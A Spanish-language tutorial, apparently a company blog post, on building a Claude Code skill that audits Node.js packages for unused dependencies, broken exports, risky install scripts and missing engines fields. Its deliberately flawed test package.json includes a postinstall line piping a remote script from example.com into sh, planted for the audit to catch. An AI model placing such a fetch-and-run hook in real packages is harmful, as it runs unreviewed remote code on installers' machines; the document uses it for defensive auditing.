12k
All articles

Cómo auditar un proyecto Node con una skill de IA

Crea una skill de Claude Code para auditar paquetes Node.js: dependencias sin uso, scripts de ciclo de vida riesgosos, exports rotos y problemas de versión, con pruebas.

OpenReplay Team
OpenReplay Team
Cómo auditar un proyecto Node con una skill de IA

Para auditar un proyecto Node con una skill de IA, haz commit de un archivo SKILL.md en .claude/skills/<skill-name>/. Este archivo debe inyectar en el prompt tu package.json real y la salida de la compilación, e indicar a Claude Code que ejecute una lista breve de comprobaciones que requieren criterio y que informe de ellas con evidencias.

La mayoría de las revisiones de paquetes terminan con los mismos cuatro comentarios: una dependencia que ya nadie importa, un script postinstall que nadie ha leído, la ausencia del campo engines y un mapa exports que apunta a un archivo que la compilación no genera. Y vuelves a escribir esos comentarios en cada PR.

Este artículo construye una pequeña skill de auditoría para esa tarea. Muestra el archivo completo, explica cómo hacer que se active con «audita este paquete» y no con cada edición, y recorre una ejecución sobre un repositorio de prueba. También aborda en qué puntos es probable que la skill se equivoque.

Puntos clave

  • Una skill de proyecto de Claude Code es una carpeta en .claude/skills/<skill-name>/ que contiene un archivo SKILL.md. Haz commit de esa carpeta y todo el que clone el repositorio tendrá el mismo comando /skill-name.
  • Una línea de SKILL.md que empieza por !cat package.json se ejecuta antes de que Claude lea la skill, de modo que la auditoría trabaja con el manifiesto real y no con una suposición sobre él.
  • Si un comando inyectado falla, Claude Code aborta toda la invocación. Con el shell bash predeterminado, cualquier código de salida distinto de cero cuenta como fallo, salvo el código de salida 1 de los comandos de búsqueda y comparación. Un comando que puede fallar por motivos legítimos necesita que se le añada || true.
  • Una skill de auditoría debe leer los scripts de instalación y nunca ejecutarlos. Mantén npm install, npm ci y npm run fuera tanto de los comandos inyectados como de allowed-tools.
  • ESLint, npm audit y publint dan la misma respuesta para la misma entrada. Una skill de auditoría no, así que úsala solo para cuestiones que requieran criterio.

Los mismos cuatro comentarios de revisión en cada PR

Los mismos comentarios de revisión de paquetes se repiten porque los problemas que los originan no se pueden resolver con una regla. Decidir si una dependencia sigue siendo necesaria implica buscar en el código. Decidir si un script postinstall es sospechoso implica leerlo. Un linter no tiene ninguna opción de configuración para ninguna de las dos cosas.

Una skill de Claude Code encaja en este tipo de trabajo que requiere criterio. Se trata de un conjunto reutilizable de instrucciones, escrito en un archivo SKILL.md, que Claude Code carga cuando una petición coincide con su descripción o cuando escribes su nombre. Si el formato es nuevo para ti, las guías sobre skills de Claude Code para flujos de trabajo frontend y sobre capacidades reutilizables para agentes de IA explican el concepto.

Cómo crear una skill de Claude Code para auditar paquetes

Para crear una skill de Claude Code, añade un directorio dentro de .claude/skills/ que contenga un archivo SKILL.md. El archivo incluye frontmatter YAML entre marcadores ---, seguido de instrucciones en Markdown. El nombre del directorio, o el name del frontmatter, se convierte en el comando de barra.

Crea la carpeta de la skill

Las skills de proyecto se encuentran en la carpeta .claude del repositorio. Claude Code carga una skill guardada en .claude/skills/<skill-name>/SKILL.md en todas las sesiones de ese repositorio.

mkdir -p .claude/skills/node-package-audit

El SKILL.md completo

Guarda este archivo como .claude/skills/node-package-audit/SKILL.md. El --- inicial debe estar en la línea 1.

---
name: node-package-audit
description: Audits a Node.js package's package.json and build layout for judgement-call problems that linters miss, including dependencies that may no longer be needed, an exports map that does not match the build output, surprising install, postinstall or prepare scripts, a missing or wrong engines field, and files that break the repo's layout conventions. Use when the user asks to audit, review or sanity-check a package or its package.json, or asks whether a package is ready to publish. Not for routine code edits.
when_to_use: 'Requests like "audit this package", "review our package.json", "is this ready to publish" or "check our dependencies".'
allowed-tools: Bash(cat *) Bash(ls *) Bash(true) Read Grep Glob
---

## Manifest
!`cat package.json`

## Top-level files
!`ls -a`

## Build output
!`ls dist lib build || true`

## Instructions

Audit the package above. Do not run npm install, npm ci, npm run, or any
package script. Read files only.

For each check, report: finding, evidence (file and line, or the exact
field), and confidence (confirmed / unverified). If you cannot confirm a
finding from files you actually read, mark it unverified. Do not guess.

1. Dependencies: for each entry in dependencies and devDependencies,
   search src, scripts in package.json, config files and bin entries for
   a use. Flag only entries with no reference anywhere. Tools can be
   referenced by string name in config files or invoked as CLIs in scripts.
2. Exports: compare every path in main, module, types, bin and exports
   against the build output listed above. Flag paths that point at files
   that don't exist, and conditions that point at the wrong format.
3. Lifecycle scripts: read preinstall, install, postinstall and prepare.
   Flag anything that downloads, runs a remote script, writes outside
   the package, or reads environment variables or credentials.
4. Layout: compare the package's file layout with sibling packages or
   the repo's existing conventions. Flag deviations, not preferences.
5. Engines: flag a missing engines field, or a range that contradicts
   syntax or APIs used in the source.

Finish with a table of findings, then a short list of what you could not
check and why.

Qué hacen el frontmatter y los comandos inyectados

Todas las claves de este archivo figuran en la referencia del frontmatter. Ninguna es obligatoria, aunque la documentación recomienda definir description. Una clave desconocida no genera ningún error: Claude Code simplemente la omite, así que una errata como allowed_tools desaparece sin ningún aviso.

Las tres líneas con ! usan la inyección dinámica de contexto. Antes de que Claude lea la skill, Claude Code ejecuta cada comando y sustituye la línea por lo que haya imprimido el comando. Si cualquiera de ellos falla, se aborta toda la invocación. ls devuelve un código distinto de cero cuando el directorio que se le pide listar no existe, y un paquete que todavía no se ha compilado no tiene dist/. Por eso la línea de la salida de compilación termina en || true. cat package.json no tiene alternativa a propósito: en un paquete Node, la ausencia del manifiesto debe detener la auditoría.

Claude Code no muestra una solicitud de permiso para los comandos inyectados. Fuera del modo automático, un comando inyectado que tus reglas de permisos no permitan explícitamente detiene la invocación, y allowed-tools es la forma en que la skill los aprueba de antemano. Claude Code comprueba por separado cada parte de un comando compuesto, así que ls dist lib build || true necesita una regla para true además de para ls. Por eso allowed-tools incluye Bash(true). La autorización dura solo el turno en el que se invocó la skill. Si una ejecución se aborta con Shell command permission check failed, añade una regla de autorización para ese comando en tu configuración de permisos.

Conviene conocer dos campos opcionales del frontmatter de SKILL.md. paths limita la carga automática al trabajo sobre archivos que coincidan con sus patrones glob. disable-model-invocation: true hace que la skill solo se ejecute cuando escribes /node-package-audit.

Escribe una descripción que se active con auditorías, no con ediciones

Claude usa el campo description para decidir si carga una skill sin que se lo pidan. Una descripción como «Ayuda con proyectos Node» es demasiado vaga para coincidir de forma fiable con «audita este paquete», y lo bastante amplia como para cargarse durante trabajos que no tienen nada que ver.

La descripción de node-package-audit anterior sitúa el caso de uso en su primera frase, enumera los verbos que la activan (audit, review, sanity-check, ready to publish) y termina con una exclusión explícita. El listado de skills trunca el texto combinado de description y when_to_use a partir de 1536 caracteres, así que el caso de uso principal debe ir primero. Si la skill sigue activándose con demasiada frecuencia, la documentación recomienda una descripción más específica o la invocación exclusivamente manual.

Cinco comprobaciones que requieren criterio, no reglas

Cada comprobación de la skill plantea una pregunta que depende del contexto, y cada una exige citar un archivo o un campo antes de que un hallazgo cuente como confirmado.

¿Sigue siendo necesaria cada dependencia? La skill tiene que buscar un uso antes de señalar una dependencia. Los imports son el caso fácil. Los casos más difíciles son los paquetes invocados como CLI en scripts y los plugins mencionados como cadenas en archivos de configuración.

¿Coincide exports con la salida de la compilación? La skill compara las rutas declaradas con la salida de ls que ha recibido. Una ruta a un archivo que no existe es un hallazgo confirmado. Una duda sobre si una condición apunta al formato correcto suele marcarse como no verificada.

¿Hacen los scripts de instalación algo sospechoso? npm 11 ejecuta por defecto los scripts preinstall, install y postinstall de las dependencias. También ejecuta prepare en las dependencias instaladas desde fuentes que no son el registro, como git. npm 12, publicado el 8 de julio de 2026, deja de ejecutar esos scripts de dependencias salvo que el paquete se haya aprobado, y bloquea del mismo modo prepare en las dependencias de tipo git, file y link. Los proyectos con npm 11 o anterior, y los paquetes aprobados, los siguen ejecutando. Un script que canaliza un archivo remoto hacia un shell merece un comentario en la revisión. La skill lee estos scripts y nunca debe ejecutarlos, y por eso no aparece ningún comando de npm ni en las líneas inyectadas ni en allowed-tools. La misma lógica de cadena de suministro se aplica a la configuración de CI, que trata la auditoría de seguridad de workflows de GitHub. La confianza en el espacio de trabajo no se aplica a allowed-tools en una skill incluida en el repositorio: Claude Code respeta el campo incluso en una carpeta en la que nunca hayas confiado, así que revísalo en cualquier repositorio que clones.

¿Sigue la estructura las convenciones del repositorio? «Convenciones» significa lo que ya hagan los paquetes hermanos. La instrucción de señalar desviaciones y no preferencias evita que la comprobación se convierta en consejos de estilo.

¿Falta engines o es incorrecto? npm solo aplica engines cuando quien instala activa engine-strict. En caso contrario, una discrepancia de versión muestra una advertencia y la instalación sigue adelante. Un rango ausente o incorrecto falla en silencio, y por eso merece la pena hacer esta comprobación.

Confirma que la skill se activa y ejecútala

Puedes comprobar que la skill se activa de cuatro formas: preguntar «What skills are available?», invocar /node-package-audit directamente, ejecutar claude plugin validate .claude/skills o iniciar Claude Code con --debug.

What skills are available?
/node-package-audit
claude plugin validate .claude/skills
claude --debug

claude plugin validate requiere Claude Code v2.1.233 o posterior. Si /node-package-audit funciona pero «audita este paquete» no activa la skill, revisa primero el frontmatter. Un frontmatter que no se puede analizar no impide que la skill se cargue. Claude Code la carga sin metadatos, de modo que escribir el comando de barra sigue funcionando, pero Claude no tiene ninguna descripción con la que comparar una petición. La documentación también aconseja mantener SKILL.md por debajo de 500 líneas.

Un proyecto de prueba con defectos intencionados

Este package.json contiene cuatro defectos introducidos a propósito. Su dist/ solo contiene index.js e index.d.ts, y un .prettierrc menciona prettier-plugin-organize-imports por su nombre.

{
  "name": "@acme/date-utils",
  "version": "1.4.0",
  "type": "module",
  "main": "./dist/index.js",
  "exports": {
    ".": {
      "types": "./dist/index.d.ts",
      "import": "./dist/index.mjs"
    }
  },
  "scripts": {
    "build": "tsc",
    "lint": "eslint .",
    "postinstall": "curl -fsSL https://example.com/setup.sh | sh"
  },
  "dependencies": {
    "left-pad": "^1.3.0"
  },
  "devDependencies": {
    "eslint": "^9.0.0",
    "prettier-plugin-organize-imports": "^4.0.0",
    "typescript": "^5.6.0"
  }
}

Los defectos intencionados son el left-pad sin usar, una ruta de exports a un index.mjs que no existe, un postinstall que canaliza un script remoto hacia un shell y la ausencia del campo engines.

La salida y el fallo

El informe se devuelve como una tabla de hallazgos seguida de una lista de lo que no se pudo comprobar. Este es un ejemplo de cómo se ve para este proyecto de prueba.

Findings

| # | Check        | Finding                                              | Evidence                                          | Confidence |
|---|--------------|------------------------------------------------------|---------------------------------------------------|------------|
| 1 | Dependencies | left-pad has no use anywhere in the package          | no import in src/, not named in scripts or config | confirmed  |
| 2 | Dependencies | prettier-plugin-organize-imports may be unused       | no import in src/                                 | unverified |
| 3 | Exports      | exports["."].import points at a missing file         | ./dist/index.mjs is not in the build output       | confirmed  |
| 4 | Lifecycle    | postinstall downloads and runs a remote script       | scripts.postinstall pipes curl output to sh       | confirmed  |
| 5 | Engines      | package.json has no engines field                    | no "engines" key in package.json                  | confirmed  |

Could not check
- Layout: there are no sibling packages or written conventions to compare against.
- Engines range: with no engines field, there is no range to test against the source.

El fallo esperable es un falso positivo de «sin usar» en prettier-plugin-organize-imports, porque solo aparece como cadena en un archivo de configuración. Las instrucciones de la skill reducen ese riesgo, pero no pueden eliminarlo. Lee primero la columna de confianza: trata un hallazgo de dependencia no verificado como una invitación a buscarlo tú mismo con grep, no como un motivo para eliminarla.

Una skill no es un linter

Una skill se ocupa de las preguntas que las herramientas deterministas no pueden responder, y a veces se equivocará. ESLint y publint devuelven el mismo resultado para la misma entrada, y npm audit hace lo mismo para un conjunto dado de avisos de seguridad, así que su lugar está en CI como controles obligatorios. La skill de auditoría pertenece a la revisión, donde una persona lee sus evidencias antes de actuar. Los argumentos a favor de automatizar las comprobaciones deterministas del código siguen siendo válidos, y la skill no sustituye nada de eso.

Una ruta de exports incorrecta o un rango de engines erróneo suelen manifestarse en tiempo de ejecución y no en CI. El session replay muestra en contexto la pantalla en blanco, el error de consola y la petición fallida resultantes, mientras que la skill detecta la causa estática antes de publicar.

Conclusión

Una pequeña skill de auditoría funciona porque su alcance es reducido: inyecta archivos reales, ejecuta cinco comprobaciones con evidencias citadas, lee los scripts de instalación sin ejecutarlos y deja claro cuándo no está segura. Haz commit del SKILL.md anterior, ejecuta /node-package-audit en el paquete que revisas con más frecuencia y convierte cualquier hallazgo que se repita en una regla determinista si alguna puede expresarlo.

Preguntas frecuentes

¿Sigue siendo útil la comprobación de scripts de instalación ahora que npm 12 bloquea los scripts de instalación?

Sí. npm 12.0.0 ya no ejecuta los scripts preinstall, install o postinstall de las dependencias salvo que se aprueben con npm approve-scripts, y bloquea del mismo modo los scripts prepare de las dependencias de tipo git, file y link. Los consumidores con npm 11 o anterior los siguen ejecutando por defecto, y los paquetes aprobados los siguen ejecutando. Un postinstall que canaliza un script remoto hacia un shell sigue necesitando revisión.

¿Dónde debería ubicarse una skill de auditoría en un monorepo con muchos paquetes?

Coloca una skill de auditoría compartida en la carpeta .claude/skills de la raíz para que se aplique a todo el repositorio. Para las reglas específicas de un paquete, haz commit de una skill independiente dentro de ese paquete, por ejemplo en packages/api/.claude/skills/. Claude Code descubre las carpetas de skills anidadas cuando trabajas con archivos de ese subdirectorio, así que una skill por paquete puede no aparecer hasta que Claude lea o edite un archivo allí.

¿Qué ocurre si un desarrollador tiene una skill personal con el mismo nombre que la incluida en el repositorio?

Prevalece la skill personal. Claude Code resuelve las colisiones de nombres de skills en el orden empresa, después personal y después proyecto, de modo que una skill en ~/.claude/skills/node-package-audit/SKILL.md oculta la .claude/skills/node-package-audit/SKILL.md del repositorio para ese desarrollador. Las skills de plugins tienen su propio espacio de nombres y nunca colisionan. Si la auditoría de un compañero ignora los cambios recientes en la versión del repositorio, comprueba primero si tiene una skill personal con el mismo nombre.

Understand every bug

Uncover frustrations, understand bugs and fix slowdowns like never before with OpenReplay — self-hosted, with full data ownership.

Star on GitHub

We use cookies to improve your experience. By using our site, you accept cookies.